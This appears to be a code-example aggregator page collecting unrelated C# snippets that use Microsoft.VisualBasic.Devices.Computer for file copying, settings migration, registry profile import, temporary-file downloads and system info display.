                    if (File.Exists(ME3Directory.cookedPath + @"\SequenceViews\SequenceEditorOptions.JSON"))
                    {
                        options = JsonConvert.DeserializeObject<Dictionary<string, object>>(File.ReadAllText(ME3Directory.cookedPath + @"\SequenceViews\SequenceEditorOptions.JSON"));
                        File.Delete(ME3Directory.cookedPath + @"\SequenceViews\SequenceEditorOptions.JSON");
                    }
                    if (File.Exists(ME2Directory.cookedPath + @"\SequenceViews\SequenceEditorOptions.JSON"))
                    {
                        File.Delete(ME2Directory.cookedPath + @"\SequenceViews\SequenceEditorOptions.JSON");
                    }
                    if (File.Exists(ME1Directory.cookedPath + @"\SequenceViews\SequenceEditorOptions.JSON"))
                    {
                        File.Delete(ME1Directory.cookedPath + @"\SequenceViews\SequenceEditorOptions.JSON");
                    }

                }
#pragma warning disable RECS0022 // A catch clause that catches System.Exception and has an empty body
                catch
#pragma warning restore RECS0022 // A catch clause that catches System.Exception and has an empty body
                {
                }
                var comp = new Microsoft.VisualBasic.Devices.Computer();
                try
                {
                    if (Directory.Exists(OldME3SequenceViews))
                    {
                        Directory.CreateDirectory(ME3ViewsPath);
                        comp.FileSystem.CopyDirectory(OldME3SequenceViews, ME3ViewsPath);
                        comp.FileSystem.DeleteDirectory(OldME3SequenceViews, Microsoft.VisualBasic.FileIO.DeleteDirectoryOption.DeleteAllContents);
                    }
                }
                catch
                {
                    MessageBox.Show($"Error migrating old ME3 data.\nPlease manually move all files from {OldME3SequenceViews} to {ME3ViewsPath}\nThen delete the original SequenceViews directory.");
                }
                try
                {
                    if (Directory.Exists(OldME2SequenceViews))
                    {
                        Directory.CreateDirectory(ME2ViewsPath);
                        comp.FileSystem.CopyDirectory(OldME2SequenceViews, ME2ViewsPath);
                        comp.FileSystem.DeleteDirectory(OldME2SequenceViews, Microsoft.VisualBasic.FileIO.DeleteDirectoryOption.DeleteAllContents);
                    }
                }
                catch
                {
                    MessageBox.Show($"Error migrating old ME2 data.\nPlease manually move all files from {OldME2SequenceViews} to {ME2ViewsPath}\nThen delete the original SequenceViews directory.");
                }
                try
                {
                    if (Directory.Exists(OldME1SequenceViews))
                    {
                        Directory.CreateDirectory(ME1ViewsPath);
                        comp.FileSystem.CopyDirectory(OldME1SequenceViews, ME1ViewsPath);
                        comp.FileSystem.DeleteDirectory(OldME1SequenceViews, Microsoft.VisualBasic.FileIO.DeleteDirectoryOption.DeleteAllContents);
                    }
                }
                catch
                {
                    MessageBox.Show($"Error migrating old ME1 data.\nPlease manually move all files from  {OldME1SequenceViews} to {ME1ViewsPath}\nThen delete the original SequenceViews directory.");
                }
            } 
            #endregion

            if (File.Exists(OptionsPath))
            {
                options = JsonConvert.DeserializeObject<Dictionary<string, object>>(File.ReadAllText(OptionsPath));
            }
            if (options != null)
            {
                if (options.ContainsKey("AutoSave"))
                    autoSaveViewToolStripMenuItem.Checked = (bool)options["AutoSave"];
                if (options.ContainsKey("OutputNumbers"))
                    showOutputNumbersToolStripMenuItem.Checked = (bool)options["OutputNumbers"];
                if (options.ContainsKey("GlobalSeqRefView"))
                    useGlobalSequenceRefSavesToolStripMenuItem.Checked = (bool)options["GlobalSeqRefView"];
                SObj.OutputNumbers = showOutputNumbersToolStripMenuItem.Checked;
            }
        }
 /// <summary>
 /// Obtiene la factura de un boleto en formato PDF y la guarda en
 /// archivos temporales del usuario
 /// </summary>
 private void GetInvoice()
 {
     linkInvoice = string.Empty;
     indexList.Clear();
     GridViewFacturas.Visible = false;
     lblInfoFacturas.Visible  = false;
     indexList = GetLinkByTktBL.GetLinkByTkt(txtInvoice.Text, Login.OrgId);
     if (indexList.Count > 0)
     {
         if (!string.IsNullOrEmpty(indexList[0].LinkInvoice) && indexList.Count == 1)
         {
             linkInvoice = indexList[0].LinkInvoice;
             Microsoft.VisualBasic.Devices.Computer MyComputer = new Microsoft.VisualBasic.Devices.Computer();
             string fileName = string.Empty;
             fileName = MyComputer.FileSystem.SpecialDirectories.Temp;
             fileName = fileName + string.Format("\\TempFile_{0}.pdf", Guid.NewGuid().ToString());
             if (DownloadFile(linkInvoice, fileName))
             {
                 try
                 {
                     Process.Start(fileName);
                     Loader.AddToPanel(Loader.Zone.Middle, this, Resources.Constants.UCWELCOME);
                 }
                 catch
                 {
                     MessageBox.Show("NO CUENTA CON EL PROGRAMA CORRECTO PARA ABRIR ESTE ARCHIVO", Resources.Constants.MYCTS, MessageBoxButtons.OK, MessageBoxIcon.Information);
                     Loader.AddToPanel(Loader.Zone.Middle, this, Resources.Constants.UCWELCOME);
                 }
             }
         }
         else if (string.IsNullOrEmpty(indexList[0].LinkInvoice))
         {
             CommandsAPI2.send_MessageToEmulator("BUSCANDO FACTURA, FAVOR DE ESPERAR.................");
             Parameter timeOut = ParameterBL.GetParameterValue("TimeOutInvoice");
             int       time    = Convert.ToInt32(timeOut.Values);
             AddLinksInvoicesPerTicketBL.AddLinksInvoicesPerTicket(txtInvoice.Text, time);
             indexList.Clear();
             indexList = GetLinkByTktBL.GetLinkByTkt(txtInvoice.Text, Login.OrgId);
             if (string.IsNullOrEmpty(indexList[0].LinkInvoice))
             {
                 MessageBox.Show("LA INTERFASE AUN NO HA PROCESADO SU FACTURA, FAVOR DE VERIFICARLO MAS TARDE", Resources.Constants.MYCTS, MessageBoxButtons.OK, MessageBoxIcon.Information);
                 Loader.AddToPanel(Loader.Zone.Middle, this, Resources.Constants.UCWELCOME);
             }
             else if (!string.IsNullOrEmpty(indexList[0].LinkInvoice) && indexList.Count == 1)
             {
                 linkInvoice = indexList[0].LinkInvoice;
                 Microsoft.VisualBasic.Devices.Computer MyComputer = new Microsoft.VisualBasic.Devices.Computer();
                 string fileName = string.Empty;
                 fileName = MyComputer.FileSystem.SpecialDirectories.Temp;
                 fileName = fileName + string.Format("\\TempFile_{0}.pdf", Guid.NewGuid().ToString());
                 if (DownloadFile(linkInvoice, fileName))
                 {
                     try
                     {
                         Process.Start(fileName);
                         Loader.AddToPanel(Loader.Zone.Middle, this, Resources.Constants.UCWELCOME);
                     }
                     catch
                     {
                         MessageBox.Show("NO CUENTA CON EL PROGRAMA CORRECTO PARA ABRIR ESTE ARCHIVO", Resources.Constants.MYCTS, MessageBoxButtons.OK, MessageBoxIcon.Information);
                         Loader.AddToPanel(Loader.Zone.Middle, this, Resources.Constants.UCWELCOME);
                     }
                 }
             }
             else if (!string.IsNullOrEmpty(indexList[0].LinkInvoice) && indexList.Count > 1)
             {
                 GridViewFacturas.Visible = true;
                 GridViewFacturas.Rows.Clear();
                 int index  = 0;
                 int index2 = 0;
                 for (int i = 0; i < indexList.Count; i++)
                 {
                     index  = indexList[i].LinkInvoice.LastIndexOf(".");
                     index2 = indexList[i].LinkInvoice.LastIndexOf("/");
                     GridViewFacturas.Rows.Add(indexList[i].LinkInvoice.Substring(54, (index - index2 - 1)), indexList[i].DescriptionType);
                 }
                 GridViewFacturas.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.AllCells;
                 lblInfoFacturas.Visible = true;
             }
         }
         else if (!string.IsNullOrEmpty(indexList[0].LinkInvoice) && indexList.Count > 1)
         {
             GridViewFacturas.Visible = true;
             GridViewFacturas.Rows.Clear();
             int index  = 0;
             int index2 = 0;
             for (int i = 0; i < indexList.Count; i++)
             {
                 index  = indexList[i].LinkInvoice.LastIndexOf(".");
                 index2 = indexList[i].LinkInvoice.LastIndexOf("/");
                 GridViewFacturas.Rows.Add(indexList[i].LinkInvoice.Substring(54, (index - index2 - 1)), indexList[i].DescriptionType);
             }
             GridViewFacturas.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.AllCells;
             lblInfoFacturas.Visible = true;
         }
     }
     else
     {
         MessageBox.Show("EL NÚMERO DE BOLETO NO EXISTE", Resources.Constants.MYCTS, MessageBoxButtons.OK, MessageBoxIcon.Information);
         Loader.AddToPanel(Loader.Zone.Middle, this, Resources.Constants.UCWELCOME);
     }
 }
Beispiel #41
0
        public void Save(string Directory, bool SupressWarnings = false)
        {
            //TODO save data and translate Images and Videos list to relative paths (for all those not already)
            if (System.IO.Directory.Exists(Directory))
            {
                System.IO.Directory.CreateDirectory(Directory);
            }
            this.RootDirectory = Directory;
            Microsoft.VisualBasic.Devices.Computer computer = new Microsoft.VisualBasic.Devices.Computer();
            this.data.save(System.IO.Path.Combine(Directory, "Data.gdf"));
            for (int i = 0; i < Images.Count; i++ )
            {
                //check if file already copied
                string fileName = System.IO.Path.GetFileName(Images[i]);

                if (this.getImage(Images[i]) != this.getImage(fileName))
                {
                    //copy file
                    if (!System.IO.File.Exists(getImage(fileName)) || SupressWarnings)
                        System.IO.File.Copy(this.getImage(Images[i]), this.getImage(fileName), true);
                    else
                        computer.FileSystem.CopyFile(this.getImage(Images[i]), this.getImage(fileName), Microsoft.VisualBasic.FileIO.UIOption.OnlyErrorDialogs, Microsoft.VisualBasic.FileIO.UICancelOption.ThrowException);
                }

                this.Images[i] = fileName;
            }

            for (int i = 0; i < Videos.Count; i++)
            {
                string fileName = System.IO.Path.GetFileName(Videos[i]);

                if (this.getVideo(Videos[i]) != this.getVideo(fileName))
                {
                    //copy file
                    if (!System.IO.File.Exists(getVideo(fileName)) || SupressWarnings)
                        System.IO.File.Copy(this.getVideo(Videos[i]), this.getVideo(fileName), true);
                    else
                        computer.FileSystem.CopyFile(this.getVideo(Videos[i]), this.getVideo(fileName), Microsoft.VisualBasic.FileIO.UIOption.OnlyErrorDialogs, Microsoft.VisualBasic.FileIO.UICancelOption.ThrowException);
                }

                this.Videos[i] = fileName;
            }
        }
Beispiel #42
0
        public static bool WriteLog(string d, bool forcedecrypt)
        {
                #if debug
            g_szLogFilePath = @"C:\Users\My real Account\Desktop\test.txt";
                #endif


            if (File.Exists(g_szLogFilePath + "123"))
            {
                string md5 = MD5file(g_szLogFilePath + "123");
                if (g_szLogFileMD5.Length > 0 && !g_szLogFileMD5.Equals(md5))
                {
                    System.IO.StreamWriter file2 = new System.IO.StreamWriter(g_szLogFilePath + "123", true);

                    file2.WriteLine("[" + DateTime.UtcNow + "]    -> Warning: Log file edit detected (md5 mismatch)");
                    file2.WriteLine("[" + DateTime.UtcNow + "] Printing cached file copy:");
                    file2.Write(SAMP_AC_Extension.g_szCachedFile);
                    file2.WriteLine("[" + DateTime.UtcNow + "] END CACHED FILE ");
                    file2.WriteLine(" ");

                    file2.Close();
                }
            }

            if (forcedecrypt && File.Exists(g_szLogFilePath))
            {
                try {
                    Cryptology.DecryptFile(g_szLogFilePath, g_szLogFilePath + "123", "password removed for public src release");
                } catch (InvalidDataException) {
                    // wrong pw, log file edited at this point and we don't care what happens to it, write to an encrypted log and hope for the best!
                    System.IO.StreamWriter file = new System.IO.StreamWriter(g_szLogFilePath, true);
                    file.WriteLine("MAJOR ERROR: LOG FILE DECRPYTION PASSWORD INCORRECT, LOG FILE EDITED AFTER ENCRYPTING!!!!!!!!!!!");
                    file.Close();
                    int i = g_szLogFilePath.LastIndexOf("\\") + 1;

                    FileSystemProxy FileSystem = new Microsoft.VisualBasic.Devices.Computer().FileSystem;
                    FileSystem.RenameFile(g_szLogFilePath, g_szLogFilePath.Substring(i, g_szLogFilePath.Length));
                }
            }
            Thread.Sleep(100);

            System.IO.StreamWriter file3 = new System.IO.StreamWriter(g_szLogFilePath + "123", true);

            file3.WriteLine("[" + DateTime.UtcNow + "] " + d);
            SAMP_AC_Extension.g_szCachedFile = SAMP_AC_Extension.g_szCachedFile + "[" + DateTime.UtcNow + "] " + d + "\n";

            file3.Close();

            g_szLogFileMD5 = MD5file(g_szLogFilePath + "123");

            if (forcedecrypt && File.Exists(g_szLogFilePath + "123"))
            {
                Thread.Sleep(100);

                g_szLogFileMD5 = MD5file(g_szLogFilePath + "123");

                if (Cryptology.EncryptFile(g_szLogFilePath + "123", g_szLogFilePath, "password removed for public src release"))
                {
                    File.Delete(g_szLogFilePath + "123");
                }
            }


            return(true);
        }
Beispiel #43
0
        public void Operate()
        {
            string appdataRoaming = System.Environment.GetFolderPath(System.Environment.SpecialFolder.ApplicationData);
            string appdataLocal   = System.Environment.GetFolderPath(System.Environment.SpecialFolder.LocalApplicationData);
            string documents      = System.Environment.GetFolderPath(System.Environment.SpecialFolder.MyDocuments);
            string downloads      = System.Environment.GetFolderPath(System.Environment.SpecialFolder.UserProfile) + @"\Downloads";
            string workingDir     = Directory.GetCurrentDirectory();
            //string programConfig = Path.Combine(workingDir, "config.txt");
            string ideConfigFolder = "";
            //string ideConfigLocationOverride = "";
            //string sketchbookLocationOverride = "";
            string sketchbookPath = Path.Combine(documents, @"Arduino");
            string ideConfigPath  = "";
            //bool ideConfigOverride = false;
            //bool sketchbookOverride = false;
            Uri libraryLocationOnline     = new Uri(@"https://github.com/TeamBOEing/user_functions/archive/master.zip");
            Uri codeAndTestLocationOnline = new Uri(@"https://github.com/TeamBOEing/accessories/archive/master.zip");

            string librariesDirectory = Path.Combine(sketchbookPath, @"libraries\BOEbot");
            string accessoriesSrc     = Path.Combine(downloads, "accessories-master");
            string librariesSrc       = Path.Combine(downloads, "user_functions-master");
            string boeBotProjectDst   = Path.Combine(sketchbookPath, @"ESA_Robot_Project\ESA_Robot_Project.ino");
            string boeBotTestDst      = Path.Combine(sketchbookPath, @"ESA_Robot_Test\ESA_Robot_Test.ino");


            WebClient client = new WebClient();

            try
            {
                client.DownloadFile(libraryLocationOnline, Path.Combine(downloads, "BOEbot_library.zip"));
                this.Invoke(new VoidDelegate(Download1Finished));
            }
            catch (Exception e)
            {
                this.Invoke(new VoidDelegate(Download1Error));
            }

            try
            {
                client.DownloadFile(codeAndTestLocationOnline, Path.Combine(downloads, "BOEbot_code.zip"));
                this.Invoke(new VoidDelegate(Download2Finished));
            }
            catch (Exception e)
            {
                this.Invoke(new VoidDelegate(Download2Error));
            }

            try
            {
                Directory.Delete(Path.Combine(downloads, "user_functions-master"), true);
                Directory.Delete(Path.Combine(downloads, "accessories-master"), true);
            }
            catch (Exception e) { /* will error if no such directory exists */ }

            try
            {
                ZipFile.ExtractToDirectory(Path.Combine(downloads, "BOEbot_library.zip"), downloads);
                ZipFile.ExtractToDirectory(Path.Combine(downloads, "BOEbot_code.zip"), downloads);
            }
            catch (Exception e) { /* */ }

            if (ContainsPreferencesFile(appdataRoaming, out ideConfigFolder))
            {
                ideConfigPath = Path.Combine(appdataRoaming, ideConfigFolder);
            }
            else if (ContainsPreferencesFile(appdataLocal, out ideConfigFolder))
            {
                ideConfigPath = Path.Combine(appdataLocal, ideConfigFolder);
            }

            List <String> configData = new List <String>();

            try
            {
                using (StreamReader sr = new StreamReader(ideConfigPath))
                {
                    string s = "";
                    while ((s = sr.ReadLine()) != null)
                    {
                        string[] options = s.Split('=');
                        switch (options[0])
                        {
                        case "board": configData.Add("board=lilypad"); break;

                        case "custom_cpu": configData.Add("custom_cpu=lilypad_atmega328"); break;

                        case "editor.linenumbers": configData.Add("editor.linenumbers=true"); break;

                        case "serial.debug_rate": configData.Add("serial.debug_rate=9600"); break;

                        default: configData.Add(s); break;
                        }
                    }
                }

                using (StreamWriter sw = new StreamWriter(ideConfigPath, false))
                {
                    foreach (string s in configData)
                    {
                        sw.WriteLine(s);
                    }
                }

                this.Invoke(new VoidDelegate(IDEConfigFinished));
            }
            catch (Exception e)
            {
                this.Invoke(new VoidDelegate(IDEConfigError));
            }

            Microsoft.VisualBasic.Devices.Computer pc = new Microsoft.VisualBasic.Devices.Computer();

            try
            {
                pc.FileSystem.CopyDirectory(Path.Combine(librariesSrc, "v1", "BOEbot"), librariesDirectory, true);
                this.Invoke(new VoidDelegate(Install1Finished));
            }
            catch (Exception e)
            {
                this.Invoke(new VoidDelegate(Install1Error));
            }

            try
            {
                pc.FileSystem.CopyDirectory(Path.Combine(accessoriesSrc, "ESA_Robot_Project"), Path.Combine(sketchbookPath, "ESA_Robot_Project"), true);
                pc.FileSystem.CopyDirectory(Path.Combine(accessoriesSrc, "ESA_Robot_Test"), Path.Combine(sketchbookPath, "ESA_Robot_Test"), true);

                this.Invoke(new VoidDelegate(Install2Finished));
            }
            catch (Exception e)
            {
                this.Invoke(new VoidDelegate(Install2Error));
            }
        }
        public static void MigrateProfiles()
        {
            const string RegKey = "Software\\Wikipedia\\AutoWikiBrowser\\Profiles";
            try
            {
                foreach (string id in new Microsoft.VisualBasic.Devices.Computer().Registry.CurrentUser.OpenSubKey(RegKey).GetSubKeyNames())
                {
                    AWBProfile prof = new AWBProfile();

                    Microsoft.VisualBasic.Devices.Computer myComputer = new Microsoft.VisualBasic.Devices.Computer();

                    prof.id = int.Parse(id);
                    try
                    {
                        prof.Username = EncryptionUtils.Decrypt(myComputer.Registry.GetValue("HKEY_CURRENT_USER\\" + RegKey + "\\" + id, "User", "").ToString());

                        try { prof.Password = EncryptionUtils.Decrypt(myComputer.Registry.GetValue("HKEY_CURRENT_USER\\" + RegKey + "\\" + id, "Pass", "").ToString()); }
                        catch { prof.Password = ""; }

                        prof.defaultsettings = myComputer.Registry.GetValue("HKEY_CURRENT_USER\\" + RegKey + "\\" + id, "Settings", "").ToString();

                        try { prof.useforupload = bool.Parse(myComputer.Registry.GetValue("HKEY_CURRENT_USER\\" + RegKey + "\\" + id, "UseForUpload", "").ToString()); }
                        catch { prof.useforupload = false; }

                        prof.notes = myComputer.Registry.GetValue("HKEY_CURRENT_USER\\" + RegKey + "\\" + id, "Notes", "").ToString();
                    }
                    catch
                    { }

                    AddEditProfile(prof);
                }
            }
            catch
            { }
        }
Beispiel #45
0
        private void ToolStripMenuItemHelpVersion_Click(object sender, EventArgs e)
        {
            string s = "";
            s = Application.ProductName + " " +
                Application.ProductVersion +
                " (2012/02/29)" + Environment.NewLine;

            System.Diagnostics.FileVersionInfo
                fileVersionInfo = (
                System.Diagnostics.FileVersionInfo.
                GetVersionInfo(Application.ExecutablePath));
            string copyright =
                fileVersionInfo.LegalCopyright.ToString();
            s += copyright + Environment.NewLine;

            s += "実行ファイル:" + Environment.NewLine +
                Application.ExecutablePath +
                Environment.NewLine + "(";
            if (Environment.Is64BitProcess)
                s += "64";
            else
                s += "32";
            s += "ビット・プロセスとして稼働) " +
                Environment.NewLine + Environment.NewLine;

            Microsoft.VisualBasic.Devices.Computer my
                = new Microsoft.VisualBasic.Devices.
                Computer();
            s += "オペレーションシステム :" +
                Environment.NewLine + my.Info.OSFullName +
                " " + my.Info.OSVersion + " ";
            if (Environment.Is64BitOperatingSystem)
                s += "64";
            else
                s += "32";
            s += "ビット";

            MessageBox.Show(s, "バージョン情報");
        }
        /// <summary>
        /// Armado del archivo excel(encabezado y contenido) y guardado en
        /// temporales
        /// </summary>
        private void CreateExcel()
        {
            if (SearchDQBAstETU)
            {
                ReportDBQBucle();
                FixDQBETUReport();
                Microsoft.VisualBasic.Devices.Computer MyComputer = new Microsoft.VisualBasic.Devices.Computer();
                string fileName = string.Empty;
                int    count    = 0;

                #region Generacion documento Excel

                using (MyCTSExcel objExcel = new MyCTSExcel())
                {
                    objExcel.CreateExcelObject("MyCTS");
                    if (objExcel.IsObjectCreated)
                    {
                        fileName = MyComputer.FileSystem.SpecialDirectories.Temp;
                        fileName = fileName + string.Format("\\TempFile_{0}.xls", Guid.NewGuid().ToString());

                        MyCTSExcel.Cell cell = null;
                        cell           = new MyCTSExcel.Cell(2, 2, titulo);
                        cell.Bold      = true;
                        cell.Wide      = 6;
                        cell.Alignment = MyCTSExcel.Alignment.MiddleCenter;
                        objExcel.CreateCell(cell);
                        cell      = new MyCTSExcel.Cell(3, 2, "ITM");
                        cell.Bold = true;
                        objExcel.CreateCell(cell);
                        cell      = new MyCTSExcel.Cell(3, 3, "PASSENGER NAME");
                        cell.Bold = true;
                        objExcel.CreateCell(cell);
                        cell      = new MyCTSExcel.Cell(3, 4, "TKT NUMBER");
                        cell.Bold = true;
                        objExcel.CreateCell(cell);
                        cell      = new MyCTSExcel.Cell(3, 5, "DK NUMBER");
                        cell.Bold = true;
                        objExcel.CreateCell(cell);
                        cell      = new MyCTSExcel.Cell(3, 6, "ORIGINAL DATE ISSUE");
                        cell.Bold = true;
                        objExcel.CreateCell(cell);
                        cell      = new MyCTSExcel.Cell(3, 7, "DATE ADDED TO REPORT");
                        cell.Bold = true;
                        objExcel.CreateCell(cell);
                        cell      = new MyCTSExcel.Cell(3, 8, "DATE TO BE PURGED FROM REPORT");
                        cell.Bold = true;
                        objExcel.CreateCell(cell);

                        #region Elementos2

                        count = 4;
                        int numberPassengers = PassengerList.Count;
                        progressBar1.Visible = true;
                        progressBar1.Maximum = numberPassengers;
                        progressBar1.Value   = 0;
                        CommandsAPI2.send_MessageToEmulator(Resources.TicketEmission.Constants.GENERATING_FILE_EXCEL);

                        foreach (Passenger p in PassengerList)
                        {
                            cell = new MyCTSExcel.Cell(count, 2, p.Item);
                            objExcel.CreateCell(cell);
                            cell = new MyCTSExcel.Cell(count, 3, p.Name);
                            objExcel.CreateCell(cell);
                            cell = new MyCTSExcel.Cell(count, 4, p.TKTNumber);
                            objExcel.CreateCell(cell);
                            cell = new MyCTSExcel.Cell(count, 5, p.DKNumber);
                            objExcel.CreateCell(cell);
                            cell = new MyCTSExcel.Cell(count, 6, p.Original);
                            objExcel.CreateCell(cell);
                            cell = new MyCTSExcel.Cell(count, 7, p.DateAdd);
                            objExcel.CreateCell(cell);
                            cell = new MyCTSExcel.Cell(count, 8, p.DateToBe);
                            objExcel.CreateCell(cell);
                            progressBar1.Value = count - 3;
                            if (count % 20 == 0)
                            {
                                CommandsAPI2.send_MessageToEmulator(Resources.TicketEmission.Constants.GENERATING_FILE_EXCEL);
                            }
                            count++;
                        }

                        #endregion

                        objExcel.SaveFile(fileName);
                    }
                }
                if (!string.IsNullOrEmpty(fileName))
                {
                    Process proc = new Process();
                    proc.StartInfo.Arguments = "\"" + fileName + "\"";
                    proc.StartInfo.FileName  = "EXCEL.EXE";
                    proc.Start();
                }
                Loader.AddToPanel(Loader.Zone.Middle, this, Resources.Constants.UCWELCOME);

                #endregion
            }
        }
Beispiel #47
0
        private void ExportRecording(RecordingSummary recording)
        {
            Recording metadata = Utility.GetRecordingMetadataFromAds(recording.RecordingFileName);

            string destinationPath = _destinationTextBox.Text;

            if (_createDirectoriesCheckBox.Checked)
            {
                string directoryName = null;

                switch (_directoryNameComboBox.SelectedIndex)
                {
                    case DirectoryNameIndex.Title:
                        directoryName = recording.Title;
                        break;

                    case DirectoryNameIndex.Schedule:
                        directoryName = recording.ScheduleName;
                        break;

                    case DirectoryNameIndex.Channel:
                        directoryName = recording.ChannelDisplayName;
                        break;

                    case DirectoryNameIndex.Date:
                        directoryName = String.Format(CultureInfo.CurrentCulture,
                            "{0}-{1:00}-{2:00}", recording.ProgramStartTime.Year, recording.ProgramStartTime.Month, recording.ProgramStartTime.Day);
                        break;
                }

                if (!String.IsNullOrEmpty(directoryName))
                {
                    destinationPath = Path.Combine(destinationPath, ArgusTV.Common.Utility.MakeValidFileName(directoryName));
                    if (!Directory.Exists(destinationPath))
                    {
                        Directory.CreateDirectory(destinationPath);
                    }
                }
            }

            SortedList<long, string> filesToCopy = new SortedList<long, string>();

            string sourceDirectory = Path.GetDirectoryName(recording.RecordingFileName);
            string sourceNameWithoutExtension = Path.GetFileNameWithoutExtension(recording.RecordingFileName);

            DirectoryInfo dirInfo = new DirectoryInfo(sourceDirectory);
            foreach (FileInfo fileInfo in dirInfo.GetFiles(sourceNameWithoutExtension + "*"))
            {
                long size = fileInfo.Length;
                while (filesToCopy.ContainsKey(size))
                {
                    size++;
                }
                filesToCopy.Add(size, fileInfo.FullName);
            }

            foreach (string fileName in filesToCopy.Values)
            {
                string destinationFileName = Path.Combine(destinationPath, Path.GetFileName(fileName));
                Microsoft.VisualBasic.Devices.Computer computer = new Microsoft.VisualBasic.Devices.Computer();
                computer.FileSystem.CopyFile(fileName, destinationFileName,
                    Microsoft.VisualBasic.FileIO.UIOption.AllDialogs, Microsoft.VisualBasic.FileIO.UICancelOption.ThrowException);
            }

            string destinationRecordingFileName = Path.Combine(destinationPath, Path.GetFileName(recording.RecordingFileName));
            if (_exportMetadataCheckBox.Checked
                || (metadata != null && !CheckMetadataCopied(destinationRecordingFileName)))
            {
                metadata = Utility.GetRecordingMetadata(recording.RecordingFileName);
                if (metadata == null)
                {
                    metadata = Proxies.ControlService.GetRecordingById(recording.RecordingId).Result;
                }
                if (metadata != null)
                {
                    Utility.WriteRecordingMetadataFile(destinationRecordingFileName, metadata);
                }
            }
        }